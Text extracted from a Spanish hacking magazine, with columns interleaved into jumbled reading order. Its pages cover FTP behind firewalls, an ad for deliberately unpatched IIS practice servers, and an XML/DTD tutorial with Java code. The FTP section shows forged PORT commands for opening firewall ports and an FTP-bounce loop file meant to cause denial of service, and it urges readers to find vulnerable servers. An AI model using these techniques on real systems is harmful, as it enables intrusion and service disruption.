de un firewall, tienes que abrir problema. explícitamente una serie de puertos en el firewall para que pueda funcionar el DCC. Pero 2.6.2. Clientes de FTP detrás de un entonces, ¿qué ocurre con el FTP, donde los firewall servidores abren puertos aleatoriamente cada vez que se quiere abrir un canal de datos en El mismo problema tenemos con los clientes, modo pasivo? Evidentemente, no se pueden pero esta vez con el modo activo. ¿Cómo abrir 64.000 puertos en el firewall, entre otras puede funcionar un comando PORT utilizando cosas, porque entonces el firewall no serviría puertos aleatorios si está detrás de un firewall? para nada. Y lo que tampoco es solución es Pues el firewall tendrá que incorporar un PC PASO A PASO Nº 12 Página 29
  • 30. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) mecanismo análogo, que analice esta vez los bucle infinito en un servidor de FTP paquetes que tengan como puerto de destino aprovechando su vulnerabilidad de FTP Bounce. el 21, y que contengan un comando PORT. El firewall abrirá dinámicamente el puerto Imaginemos que tenemos cuenta en un servidor, especificado en el comando PORT. cuyo login y password es: 2.6.3. Apertura de puertos utilizando login: PyC comandos PORT password: LCo Entonces... ¿qué ocurrirá si creamos nosotros Tenemos un directorio Upload con permisos de nuestros propios comandos PORT a nuestra escritura, donde podemos subir nuestros conveniencia? Pues, teóricamente, que archivos. conseguiremos abrir el puerto que queramos en el momento que queramos. :-) La IP del servidor es 215.22.69.22. Pues bien, en primer lugar creamos un archivo Bastará con que nos conectemos a un servidor de texto con el siguiente contenido: FTP cualquiera, como por ejemplo el de Rediris del que ya os hablé, y una vez dentro USER PyC ejecutemos por ejemplo: PASS LCo CWD Upload PORT 192,168,1,1,0,25 PORT 215,22,69,22,0,21 RETR bucle.dos Donde 192.168.1.1 es la IP de la máquina en la que nos encontramos. Con sólo enviar este Llamaremos a este archivo: bucle.dos. comando al servidor de Rediris, habremos Si ahora subimos este archivo al directorio abierto el puerto 25 de nuestra máquina para Upload del servidor, y a continuación ejecutamos que alguien del exterior se conecte a él. esta secuencia de comandos: Esto no tiene mucho sentido hacerlo en tu propio PC de casa, pero puede ser un problema PORT 215,22,69,22,0,21 por ejemplo en una empresa en la que los RETR bucle.dos empleados tengan limitado el acceso hacia y desde el exterior, o bien puede ser una Lo que debería ocurrir es que, debido al FTP herramienta que utilice alguien que ha Bounce, el servidor se conectase a sí mismo conseguido hackear parcialmente tu máquina para enviar la secuencia de comandos que para conseguir abrir nuevos puertos para contiene nuestro archivo, la cual a su vez lo troyanos o cualquier otro servicio. que haría sería volver a conectarse a sí mismo, y así hasta el infinito. Por supuesto, hay firewalls que están preparados para evitar este tipo de ataques, Personalmente, sólo hice esta prueba una vez, pero os aseguro que hay muchos que no lo y no funcionó, probablemente porque el servidor están. Sin irnos muy lejos, algunas versiones no era vulnerable a este tipo de ataques. Pero de iptables de Linux, así como algunos routers apuesto a que habrá algún software que sí que ADSL. sea vulnerable, por lo que os propongo como ejercicio que hagáis pruebas hasta que deis 2.7. ¿POSIBLE DoS? con algún servidor vulnerable, y analicéis los resultados. Por último, os planteo un ejercicio interesante cuyos resultados, sinceramente, desconozco. Si lo hacéis, de paso me contáis los resultados, 0:-) que tengo curiosidad. Ya sabéis que me podéis encontrar por EfNet. ;-) Hace tiempo, jugando un poco con el FTP Bounce, se me ocurrió una idea un tanto Autor: PyC (LCo) rebuscada. La idea consistía en provocar un Página 30 PC PASO A PASO Nº 12
  • 31. SERVIDOR DE HXC MODO DE EMPLEO - Hack x Crack ha habilitado tres servidores para que puedas realizar las Explicamos esto porque la mayoría, seguro que piensa en un Servidor Web como en algo extraño que no saben ni prácticas de hacking. donde está ni como se accede. Bueno, pues ya sabes dónde se encuentran la mayoría de IIS (en Inetpub) y cuál es - Las IPs de los servidores de hacking las la página por defecto (Inetpubwwwrootdefault.htm). Y encontrarás en EL FORO de la revista ahora, piensa un poco… … ¿Cuál es uno de los objetivos de ( w w w . h a c k x c r a c k . c o m ) . Una vez en el foro entra un hacker que quiere decirle al mundo que ha hackeado en la zona COMUNICADOS DE HACK X CRACK (arriba del u n a We b ? P u e s e s t á c l a r o, e l o b j e t i vo e s c a m b i a r ( o s u s t i t u i r ) todo) y verás varios comunicados relacionados con los el archivo default.html por uno propio donde diga “hola, servidores. No ponemos las IP aquí porque es bueno soy DIOS y he hackeado esta Web” (eso si es un lamer ;) acostumbrarte a entrar en el foro y leer los comunicados. Si hay alguna incidencia o cambio de IP o lo que sea, se A partir de ese momento, cualquiera que acceda a ese comunicará en EL FORO. s e r v i d o r, v e r á e l d e f a u l t . h t m m o d i f i c a d o p a r a v e r g ü e n z a d e l “site” hackeado. Esto es muy genérico pero os dará una idea de cómo funciona esto de hackear Webs ;) - Actualmente tienen el BUG del Code / D e c o d e . La forma de “explotar” este bug la explicamos - Cuando accedas a nuestro servidor mediante el CODE / extensamente en los números 2 y 3. Lo dejaremos así por DECODE BUG, crea un directorio con tu nombre (el que mas un tiempo (bastante tiempo ;) Nuestra intención es ir te guste, no nos des tu DNI) en la unidad d: a ser habilitando servidores a medida que os enseñemos distintos posible y a partir de ahora utiliza ese directorio para hacer tipos de Hack. t u s p r á c t i c a s . Ya s a b e s , s u b i r n o s p r o g r a m i t a s y p r a c t i c a r con ellos :) ... ... ¿cómo? ¿que no sabes crear directorios - En los Servidores corre el Windows 2000 con el IIS de Servidor Web. No hemos parcheado ningún bug, ni mediante el CODE/DECODE BUG... repasa los números 2 y t a n s i q u i e ra e l R P C y p o r s u p u e s t o t a m p o c o h e m o s i n s t a l a d o tres de Hack x Crack ;p n i n g ú n S e r v i c e Pa c k . Pa ra q u i e n p i e n s e q u e e s o e s u n e r r o r (lógico si tenemos en cuenta que el RPC provoca una caída Puedes crearte tu directorio donde quieras, no es necesario completa del sistema), solo decirte que AZIMUT ha que sea en d:mellamojuan. Tienes total libertad!!! Una configurado un firewall desde cero que evita el bug del i d e a e s c r e a r l o , p o r e j e m p l o , e n RPC, (bloqueo de los puertos 135 (tcp/udp), 137 (udp), d:xxxsystem32default10019901mellamojuan (ya irás 138 (udp), 445 (tcp), 593 (tcp)). La intención de todo esto aprendiendo que cuanto mas oculto mejor :) es, precisamente, que puedas practicar tanto con el CODE/DECODE como con cualquier otro “bug” que conozcas (y hay cientos!!!). Poco a poco iremos cambiando la Es posiblemente la primera vez que tienes la oportunidad c o n f i g u ra c i ó n e n f u n c i ó n d e l a e x p e r i e n c i a , l a i d e a e s t e n e r de investigar en un servidor como este sin cometer un delito los Servidores lo menos parcheados posibles pero (nosotros te dejamos y por lo tanto nadie te perseguirá). mantenerlos operativos las 24 horas del día. Por todo ello Aprovecha la oportunidad!!! e investiga mientras dure esta y debido a posibles cambios de configuración, no olvides iniciativa (esperemos que muchos años). visitar el foro (Zona Comunicados) antes de “penetrar” en nuestros servidores. - En este momento tenemos mas de 600 carpetas de peña que, como tu, está practicando. Así que haznos caso y crea - Cada Servidor tiene dos unidades (discos duros duros): t u p r o p i a c a r p e t a d o n d e t r a b a j a r. * La unidad c: --> Con 40GB y Raíz del Sistema * La unidad d: --> Con 40GB * La unidad e: --> CD-ROM N o t a : R a í z d e l S e r v i d o r, s i g n i f i c a q u e e l W i n d o w s A d va n c e d ! Server está instalado en esa unidad (la unidad c:) y concretamente en el Por lo tanto, la raíz directorio por defecto winnt del sistema está en c:winnt MUY IMPORTANTE... - E l I I S , I n t e r n e t I n f o r m a t i o n S e r v e r, e s e l S e r v i d o r d e páginas Web y tiene su raíz en c:inetpub (el directorio por defecto) MUY IMPORTANTE!!!!! Por favor, no borres archivos Nota: Para quien nunca ha tenido instalado el IIS, le será del Servidor si no sabes exactamente lo que estás haciendo ni e x t ra ñ o t a n t o e l n o m b r e d e e s t a c a r p e t a ( c : i n e t p u b ) c o m o s u c o n t e n i d o . Pe r o b u e n o , u n d í a d e e s t o s o s e n s e ñ a r e m o s borres las carpetas de los demás usuarios. Si haces eso, lo único a i n s t a l a r v u e s t r o p r o p i o S e r v i d o r We b ( I I S ) y d e t a l l a r e m o s su funcionamiento. que consigues es que tengamos que reparar el sistema servidor De momento, lo único que hay que saber es que cuando y, mientras tanto, ni tu ni nadie puede disfrutar de él :( T Ú p o n g a s n u e s t ra I P ( l a I P d e u n o d e n u e s t r o s s e r v i d o r e s ) en tu navegador (el Internet explorer por ejemplo), lo que Es una tontería intentar “romper” el Servidor, lo hemos puesto estás haciendo realmente es ir al directorio c : I n e t p u b w w w r o o t y l e e r u n a r c h i vo l l a m a d o d e fa u l t . h t m . para que disfrute todo el mundo sin correr riesgos, para que todo Nota: Como curiosidad, te diremos que APACHE es otro el mundo pueda crearse su carpeta y practicar nuestros ejercicios. S e r v i d o r d e p á g i n a s We b ( s e g u r o q u e h a s o í d o h a b l a r d e él). Si tuviésemos instalado el apache, cuando pusieses En el Servidor no hay ni Warez, ni Programas, ni claves, ni nada n u e s t r a I P e n T U n a v e g a d o r, a c c e d e r í a s a u n d i r e c t o r i o de nada que “robar”, es un servidor limpio para TI, por lo tanto raíz del Apache (donde se hubiese instalado) e intentarías leer una página llamada index.html ... pero... ¿qué te cuídalo un poquito y montaremos muchos más :) estoy contando?... si has seguido nuestra revista ya dominas de sobras el APACHE ;)
  • 32. VALIDACIoN DE DOCUMENTOS XML: DTD Segunda parte parte: Atributos y Elementos Por Joaquim Roca Verges A muchos este curso de XML les está pareciendo muy difícil... la dificultad no está en la explicación, sino en “lo raro” que aparentemente es todo esto y principalmente en la poca utilidad que parece tener. Pues no lo dejes, sigue el curso y cuando pasen un par de años recordarás este “impass” con una sarcástica sonrisa. Piensa que XML va a ser EL REY durante los próximos años, TODO será XML, desde un documento de Word hasta una tabla de EXCEL. ¿No te lo crees? Pues la elección es tuya!!! Antes de todo, me gustaría daros ánimos a a páginas. todos a seguir adelante, puede que se os haga El mes pasado hablamos de la creación de los un poco pesado y un poco cuesta arriba pero DTD, de DTD externos e internos... Este mes es necesario que conozcáis lo básico de xml. continuaremos con los atributos y entidades, Repasando un poco tenemos que xml es un pero antes de nada un poco de diversión con lenguaje de marcado, que puede validarse , java y xml. es decir que podemos establecer unas reglas que estarán contenidas en un dtd y que MANIPULACIÓN DE UN XML SENCILLO manipularemos con el DOM. Una vez hayáis CON JAVA entendido al dedillo estos tres conceptos, adentraros por vuestra cuenta al (prácticamente Lo primero de todo, tendremos que bajarnos infinito) mundo de xml os será muy fácil, y las herramientas de trabajo, el lenguaje de cuando veáis un xml-schema , al poco programación Java. Esto es: un entorno de diréis...”Pero bueno, si esto es como los DTD” desarrollo que Sun proporciona de manera o cuando os encontréis con SAX o XLS os gratuita. Nos podemos bajar el Java daréis cuenta que es otra forma de manipular Development Kit de la siguiente dirección: xml tan válida como puede serlo el DOM. http://java.sun.com/j2se/1.4.1/download.html • XML = Archivo en el que escribimos información, organizada en etiquetas. Escoged la siguiente versión: • DTD = Archivo en el que escribimos las reglas que debe cumplir el XML Como las clases de acceso a xml, no están en • DOM = Manipular la información que la edición Standard de java (j2se = java 2 contiene el xml. Manipular puede ser por Standard edition), tendremos que bajarnos ejemplo, convertir elementos xml cuyo también la edición enterprise, esto es la j2ee contenido son direcciones Web, en links reales Página 32 PC PASO A PASO Nº 12
  • 33. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) (java 2 enterprise edition) de la dirección: http://java.sun.com/j2ee/sdk_1.3/ Dentro de la página, buscad la plataforma (Windows, Linux...) y haced click en el botón de continuar. Y como estamos a la última, vamos a bajarnos también el jdom, que es el DOM para java. Podríais bajarlo de http://www.jdom.org, pero Abrid el winzip, y una vez dentro del winzip, luego hay que compilarlo, no siempre va bien abrid este archivo. Descomprimirlo a la carpeta la compilación, da algunos errores extraños... c: j2sdkee1.3lib de modo que una vez mejor vais a descomprimido, veáis la carpeta javax: http://www.crionics.com/products/opensourc e/eclipse/orion.html y hacéis click sobre el link donde pone How to install it ? c: 1. Download jdom.jar and copy it to the <ORION_HOME>/lib folder. Bueno, si habéis llegado hasta aquí, ya lo tenéis todo. El siguiente paso es instalarlo. 1.1 Instalar el jdk = Tan fácil como hacer click en el exe que os habéis bajado y seguir Si curioseáis un poco, abriendo la carpeta javax, las instrucciones. La versión que tengo instalada veréis que contiene una carpeta, con en mi PC es c:j2sdk1.4.0_01. Una vez hayáis nombre xml. instalado, tendréis una carpeta de características parecidas (igual se llama c: j2sdk1.4.0_02) 1.3 Copiad jdom.jar a c: j2sdkee1.3lib y descomprimirlo tal como habéis hecho con 1.2 Instalar j2ee = La instalación es igual j2ee.jar. Cuando os pregunten donde queréis de fácil pero hache tenemos una dificultad descomprimirlo, decidle al winzip que en la añadida. Una vez la instalación haya finalizado, misma carpeta c: j2sdkee1.3lib de manera localizad la carpeta c: j2sdkee1.3 y buscad el que lo que hará el winzip será añadirle jars a archivo j2ee.jar la carpeta org. PC PASO A PASO Nº 12 Página 33
  • 34. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) Para ejecutar un fichero java y para compilarlo desde el programa que utiliza una función para recorrer un documento entorno DOS ( desde un intérprete de comandos del sistema) xml, java no sabe dónde está esa función, vosotros tenéis necesitaremos informar a la variable PATH en que lugar está que decirle el lugar de vuestro PC en dónde tiene que el archivo binario que compila nuestro programa java y en buscarla. que lugar está el archivo binario que ejecuta los java.class. En la variable path informamos donde tiene que ir a buscar Esto se hace, informando la variable CLASSPATH (path de el sistema operativo los programas que utiliza desde el las clases de java) en el autoexec.bat sí W98 o WME, o en intérprete de comandos (DOS en Windows). Por ejemplo si las variables de entorno sí W2000, WNT O XP. El proceso es escribís javac y no habéis cambiado la variable PATH, os el mismo que con el path: saldrá el siguiente error: Si no tenéis la variable path, la creáis, con la información de los sitios de vuestro PC en donde están las librerías de java , las del jdk(c:jdk1.3.1_01lib) y las del j2ee (c:j2sdkee1.3lib) SET CLASSPATH= c:jdk1.3.1_01lib;c:j2sdkee1.3lib; Si ya tenéis la variable path, la añadís a continuación del Para editar la variable path, tendréis que editar el archivo último path, asegurándoos de poner un punto y coma autoexec.bat en W98 o WME: después del último path Añadiéndole el lugar donde tenéis la carpeta bin del jdk: Si teníais: c:jdk1.3.1_01bin SET CLASSPATH= c:jdk1.3.1_01lib Le añadís un punto y coma y la dirección del jdk , de modo Si no tenéis la variable path, la creáis: que os quede como sigue: SET PATH= c:jdk1.3.1_01bin; SET CLASSPATH= c:jdk1.3.1_01lib;c:j2sdkee1.3lib; Si ya tenéis la variable path, la añadís a continuación del Y s i t e n é i s N T, 2 0 0 0 O X P, i r a INICIO/ último path, asegurándoos de poner un punto y coma después CONFIGURACION/PANEL DE CONTROL/SISTEMA, seleccionar del último path. la pestaña Avanzado, hacer clic en el botón “Variables de Si teníais: SET PATH=C:ARCHIV~1SYBASEShared entorno” y cread la variable CLASSPATH si no existe, y si Le añadís un punto y coma y la dirección del jdk , de modo existe añadirle la dirección del lib del jdk y la dirección del que os quede como sigue: lib del j2ee. SET PATH=C:ARCHIV~1SYBASEShared;c:jdk1.3.1_01bin; Cuando reiniciéis el ordenador, ya tendréis el entorno java listo para programar, compilar y ejecutar. Y si tenéis NT, 2000 O XP, ir a Menu INICIO/ CONFIGURACION/PANEL DE CONTROL/SISTEMA, seleccionar Es un poco complicado de instalar y configurar, pero recordad la pestaña Avanzado, hacer clic en el botón “Variables de que es gratuito y no es como los paquetes de Microsoft, entorno” y cread la variable PATH si no existe, y si existe requiere un poco de atención y de habilidad por nuestra añadirle la dirección del bin del jdk. parte. Ahora Reiniciad el ordenador (es importante hacerlo, el CODIFICACIÓN, COMPILACIÓN Y EJECUCIÓN DEL sistema no tendrá en cuenta los nuevos valores del PATH PROGRAMA hasta que no se reinicie). 1) Abrid un editor de texto cualquiera (el notepad por Solo queda un paso, y es indicarle a java, donde están las ejemplo) y escribid lo siguiente: librerías que va a utilizar. Mas claro. Imaginad que hacéis un Página 34 PC PASO A PASO Nº 12
  • 35. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) /* La clase debe llamarse siempre del mismo modo que el archivo*/ <?xml version="1.0" standalone="yes" ?> public class videos { <xvid> /* Punto de entrada de la aplicación*/ <accion> public static void main(String[ ] args) { <titulo id="01">Matrix</titulo> <titulo id="02">xmen2</titulo> <titulo id="03">daredevil</titulo> /* Comprobamos que hemos llamado correctamente a la <titulo id="04">Hulk</titulo> aplicación, pasándole como parámetro el nombre del </accion> archivo xml. En caso de no ser así mostramos un mensaje informativo de como debe escribirse y salimos*/ </xvid> if(args.length==0) { 2) Crear una carpeta nueva en el explorador de System.out.println("Utilización: java videos.javavideos.xml"); Windows, que se llame xml y que cuelgue de C, y guardad return; el archivo con el nombre videos.xml } /*Cogemos el nombre del archivo xml*/ String nombreArchivoXML = args[0]; /* try = intentar en castellano = trozo de código donde pueden haber errores, en caso de que los hayan, el flujo del código se va a la instrucción catch directamente. Es lo mismo que On Error goto... del vbasic*/ try { /* Creamos el documento en el jdom ( DOM para java)*/ SAXBuilder b = new SAXBuilder(); org.jdom.Document doc = b.build(new File(nombreArchivoXML)); /* Cogemos el elemento raíz del documento, en nuestro caso xvid*/ org.jdom.Element elementoRaiz = doc.getRootElement(); 3) Abrir de nuevo el editor de texto, y escribir el /* Cogemos todos los elementos que contiene el elemento raiz, a siguiente código java: excepción de el,y los colocamos en el objeto elementosAccion */ List elementosAccion =elementoRaiz.getChildren("accion"); /*Directivas de java, librerías necesarias */ /* Iterator es una clase de java para moverse por un conjunto de objetos*/ /* Librería de entrada salida*/ Iterator iterator = elementosAccion.iterator(); import java.io.*; /* Ejecuta el código mientras el iterador tenga objetos /* Librerías del jdom */ (elementos) */ import org.jdom.*; while (iterator.hasNext()) import org.jdom.input.*; { import org.jdom.output.*; /* Coge el siguiente objeto que tenga el iterador. Si /* Librería java de uso general; contiene la clase List entre no ha empezado es decir si no tiene ninguno, cogerá otras*/ el primero*/ import java.util.*; Object o = iterator.next(); PC PASO A PASO Nº 12 Página 35
  • 36. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) /* Tenemos un objeto, ¿Pero de que tipo? Bingo, de tipo Elemento javac (java compile). Escribid: XML. Por tanto lo convertimos a Elemento XML */ org.jdom.Element unElementoAccion = (org.jdom.Element) o; Javac videos.java /* Cogemos todos los elementos que contiene el elemento accion, a excepción de el,y los colocamos Si todo ha ido bien, no se mostrará ningún mensaje, el en el objeto elementosAccion */ intérprete de comandos borrará la instrucción y se mostrará List elementosTitulo =unElementoAccion.getChildren("titulo"); disponible para que introduzcáis otra instrucción /* Iterator es una clase de java para moverse por un conjunto de objetos*/ Iterator iterator2 = elementosTitulo.iterator(); /* Ejecuta el código mientras el iterador tenga objetos (elementos) en este caso elementos con la etiqueta titulo <titulo></titulo> */ while (iterator2.hasNext()) 6) Finalmente ejecutaremos el programa con la instrucción java + el nombre del archivo (videos.java) + el { parámetro (videos.xml) de la siguiente manera /* Coge el siguiente objeto que tenga el iterador. Si no ha empezado es decir si no tiene ninguno, cogerá el primero*/ Java videos.java videos.xml Object c = iterator2.next(); Si todo ha ido bien, se nos mostrarán la colección de videos y nuevamente el intérprete borrará la instrucción y se /* Tenemos un objeto, ¿Pero de que tipo? Bingo, de tipo Elemento mostrará de nuevo disponible para recibir instrucciones: XML.Por tanto lo convertimos a Elemento XML */ org.jdom.Element unElementoTitulo = (org.jdom.Element) c; /*mostramos por pantalla el titulo de la pelicula*/ System.out.println(unElementoTitulo.getContent()); } } /* Capturamos el error, en caso de que lo hubiese.*/ } catch (Exception e) { e.printStackTrace(); } } } Si ha llegado hasta aquí sin haber tenido ningún mensaje Esta vez, os he comentado línea a línea lo que iba haciendo de error ni ningún problema al instalar o configurar...felicidades, el programa para que os vayáis familiarizando con el DOM, o sois de lo mejor o sois muy afortunados. que llegará...muy pronto!!! Continuamos con los DTD. 4) Guardad el archivo con el nombre videos.java Es MAS SOBRE ELEMENTOS XML EN LOS DTD muy importante que el nombre del archivo sea igual que el nombre de la clase, de no ser así os dará un error cuando Tal como explicamos en la primera parte, cada uno de los compiléis.. Fijaros que la clase se llama public class videos elementos usados en un documento xml válido (que se valida { ... por tanto el archivo deberá llamarse videos.java contra un dtd) deben ser declarados en un DTD. Para el ejemplo que hemos visto deberíamos declarar <xvid>, 5) Abrid el intérprete de comandos, situaros en la <accion> y <titulo>. carpeta c:xml , y compilar la clase java con la instrucción Página 36 PC PASO A PASO Nº 12
  • 37. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) Recordemos el ejemplo que estábamos utilizando hasta <ORDEN_DE_COMPRA>12345 ahora: <CLIENTE>... </CLIENTE> Un DTD </ORDEN_DE_COMPRA> < !ELEMENT ORDEN_DE_COMPRA (CLIENTE) > <!ELEMENT CLIENTE (NUMERO_DE_CUENTA, NOMBRE_COMPLETO)> c) El tercer tipo seria pues el de los < !ELEMENT NUMERO_DE_CUENTA ( #PCDATA)> elementos mixtos, es decir que contienen < !ELEMENT NOMBRE_COMPLETO ( NOMBRE, APELLIDO1, APELLIDO2) > otros elementos y texto y se declararía de la < !ELEMENT NOMBRE (#PCDATA)> siguiente manera < !ELEMENT APELLIDO1 (#PCDATA)> < !ELEMENT APELLIDO2 (#PCDATA)> < !ELEMENT ORDEN_DE_COMPRA (#PCDATA ,CLIENTE ) > y SIEMPRE en ese orden: texto (#pcdata) + y un xml válido coma (,) +elemento1(cliente) + coma (,) +elemento2 (siguiente elemento si lo <ORDEN_DE_COMPRA> hubiese) ... <CLIENTE> <NUMERO_DE_CUENTA>12345678</NUMERO_DE_CUENTA> <NOMBRE_COMPLETO> d) El cuarto tipo es el tipo cualquier <NOMBRE>Sam</NOMBRE> cosa, el elemento puede contener <APELLIDO1>Bass</APELLIDO1> cualquier cosa, cualquier combinación, su <APELLIDO2></APELLIDO2> contenido es ANY (cualquier contenido). </NOMBRE_COMPLETO> </CLIENTE> Se declara de la siguiente manera: </ORDEN_DE_COMPRA> < !ELEMENT ORDEN_DE_COMPRA ANY > Hasta ahora, solo hemos visto dos tipos de declaraciones para un elemento: Esta declaración se suele utilizar en la fase de diseño y prueba de las DTD, cuando uno no a) Elementos que contienen otro(s) elemento(s) : sabe exactamente la estructura del documento < !ELEMENT NOMBRE_COMPLETO ( NOMBRE, APELLIDO1, que vamos a utilizar. APELLIDO2) > e) Finalmente , el último tipo es el b)Elementos cuyo contenido es solo texto: elemento vacío EMPTY, es decir el elemento < !ELEMENT APELLIDO1 (#PCDATA)> que no va a contener ningún tipo de contenido. Se declara de la siguiente manera Pero pueden haber más tipos de declaraciones. Supongamos < !ELEMENT Salto_de_linea EMPTY > que queramos especificar un número de orden de compra, podríamos hacerlo con un atributo: ESTRUCTURANDO ELEMENTOS: INDICADORES DE ORDEN Y <ORDEN_DE_COMPRA NUM=”12345”> CALIFICADORES anidando un elemento para el número <ORDEN_DE_COMPRA> Podemos obligar a que los elementos de <NUM_ORDEN>12345</NUM_ORDEN> un xml sigan un orden con el signo y también podríamos hacerlo añadiendo texto al elemento coma ( ,) : <ORDEN_DE_COMPRA> < !ELEMENT NOMBRE_COMPLETO ( NOMBRE, APELLIDO1, APELLIDO2) > PC PASO A PASO Nº 12 Página 37
  • 38. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) Esto nos indica que después de nombre viene apellido1 y pero no sería correcto: tras apellido1 viene apellido2 <DETALLE_CONTACTO> también podemos obligar a escoger entre dos elementos <NUMERO_CUENTA>9876</NUMERO_CUENTA> con el signo pipe ( | ) ... Os escribo la tabla y luego unos <NOMBRE>Stan Lee</NOMBRE> ejemplos. </DETALLE_CONTACTO> ya que la pipe ( | ) nos obliga a escoger. Podemos especificar todas las opciones que queramos: < !ELEMENT DETALLE_CONTACTO ( NUMERO_CUENTA | NOMBRE | TELEFONO | EMAIL) > GRUPOS EN ELEMENTOS Supongamos que el elemento DETALLE_CONTACTO va a tener un numero de cuenta, nombre, teléfono y un solo email, que puede ser el email del trabajo o el particular, pero solo uno. El ejemplo de secuencia ya lo hemos visto. Esto lo escribiríamos de la siguiente manera ELECCIÓN DE ELEMENTOS <!ELEMENT DETALLE_CONTACTO ( NUMERO_CUENTA , NOMBRE ,TELEFONO ,(EMAIL_CASA | EMAIL_TRABAJO) > Para especificar una lista de opciones, de la que solo saldrá una. Los paréntesis que identifican los grupos, nos permiten por tanto anidar opciones. Podemos combinar opciones, < !ELEMENT DETALLE_CONTACTO ( NUMERO_CUENTA | NOMBRE) > por ejemplo supongamos que nuestro contacto trabaja en dos empresas diferentes; el DTD sería Aquí le indicamos que en el xml, cuando escribamos un detalle de contacto, o bien escribiremos el nombre o bien < !ELEMENT DETALLE_CONTACTO ( NUMERO_CUENTA , NOMBRE ,TELEFONO , su numero de cuenta (EMAIL_CASA | (EMAIL_TRABAJO_MAÑANAS, EMAIL_TRABAJO_TARDES) >: Según esta especificación en el xml sería correcto: Según esta especificación en el xml sería correcto: <DETALLE_CONTACTO> <NUMERO_CUENTA>9876</NUMERO_CUENTA> <DETALLE_CONTACTO> </DETALLE_CONTACTO> <NUMERO_CUENTA>9876</NUMERO_CUENTA> también sería correcto <NOMBRE> Stan Lee </NOMBRE> <TELEFONO> 6345789</TELEFONO> <DETALLE_CONTACTO> <EMAIL_CASA>stan@casa.com</EMAIL_CASA> <NOMBRE>Stan Lee</NOMBRE> </DETALLE_CONTACTO> </DETALLE_CONTACTO> Página 38 PC PASO A PASO Nº 12
  • 39. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) <DETALLE_CONTACTO> este también sería correcto <NUMERO_CUENTA>9876</NUMERO_CUENTA> <NOMBRE> Stan Lee </NOMBRE> <DETALLE_CONTACTO> <NUMERO_CUENTA>9876</NUMERO_CUENTA> <TELEFONO> 6345789</TELEFONO> <NOMBRE> Stan Lee </NOMBRE> <EMAIL_TRABAJO_MAÑANAS >stan@mañanas.com</ EMAIL_TRABAJO_MAÑANAS > <TELEFONO> 6345789</TELEFONO> <EMAIL_TRABAJO_TARDES >stan@tardes.com</ EMAIL_TRABAJO_TARDES > <CODIGO_POSTAL>08013</CODIGO_POSTAL> </DETALLE_CONTACTO> <EMAIL_TRABAJO_MAÑANAS >stan@mañanas.com</ EMAIL_TRABAJO_MAÑANAS > </DETALLE_CONTACTO> Cualquier otra combinación sería errónea este también NUMERO DE ELEMENTOS HIJOS QUE PUEDE O DEBE TENER EL XML <DETALLE_CONTACTO> <NUMERO_CUENTA>9876</NUMERO_CUENTA> <NOMBRE> Stan Lee </NOMBRE> Podemos decidir el numero de elementos hijos que va <TELEFONO> 6345789</TELEFONO> <EMAIL_TRABAJO_MAÑANAS >stan@morning.com</ EMAIL_TRABAJO_MAÑANAS> a tener un elemento padre, y especificar si va a ser <EMAIL_TRABAJO_MAÑANAS >stan@mañanas.com</ EMAIL_TRABAJO_MAÑANAS> un elemento opcional o no va a serlo: <EMAIL_TRABAJO_TARDES >stan@tardes.com</ EMAIL_TRABAJO_TARDES> </DETALLE_CONTACTO> • Los elementos que hemos especificado hasta ahora eran requeridos y únicos, es decir que tenían que etc. existir y que solo podían aparecer una sola vez. Esto se indica no poniendo ningún calificador Cualquier combinación que se os ocurra respetando las • El calificador interrogante ? quiere decir que reglas que hemos impuesto. el elemento será opcional y único, esto es que puede o no puede aparecer, pero si lo hace lo hace una sola ATRIBUTOS XML EN LOS DTD vez • El calificador asterisco * quiere decir que el Como ya hemos comentado, los elementos xml pueden tener elemento será opcional y repetible, esto es que puede atributos, tantos como necesitéis o queráis, pero si queréis o no puede aparecer, pero si lo hace lo puede hacer que el vuestro sea un xml válido , deberéis declararlos todos una o más veces en un DTD • El calificador más + quiere decir que el elemento es obligatorio y repetible, esto es que tiene que aparecer DEFINIENDO ATRIBUTOS EN DTD’S = ATTLIST como mínimo una vez. Definiremos una lista de atributos para un elemento, con la Lo vemos con un ejemplo asignación ATTLIST (attributes list), pondríamos añadir por ejemplo un atributo “envio” al elemento ORDEN_DE_COMPRA, < !ELEMENT DETALLE_CONTACTO ( NUMERO_CUENTA de la siguiente manera: , N O M B R E , T E L E F O N O , C O D I G O _ P O S TA L ? , (EMAIL_CASA | (EMAIL_TRABAJO_MAÑANAS +, <!ATTLIST ORDEN_DE_COMPRA envio CDATA #REQUIRED> EMAIL_TRABAJO_TARDES *) >: Esta declaración nos dice que el atributo pertenece al este xml sería correcto elemento ORDEN_DE_COMPRA, el atributo es requerido (#REQUIRED) <DETALLE_CONTACTO> <NUMERO_CUENTA>9876</NUMERO_CUENTA> y que el contenido del atributo es texto (CDATA) <NOMBRE> Stan Lee </NOMBRE> <TELEFONO> 6345789</TELEFONO> <EMAIL_TRABAJO_MAÑANAS >stan@mañanas.com</ EMAIL_TRABAJO_MAÑANAS> Podemos incluir más de un atributo: <EMAIL_TRABAJO_TARDES >stan@tardes.com</ EMAIL_TRABAJO_TARDES > </DETALLE_CONTACTO> <!ATTLIST ORDEN_DE_COMPRA envio CDATA #REQUIRED orden_preparada CDATA #REQUIRED> PC PASO A PASO Nº 12 Página 39
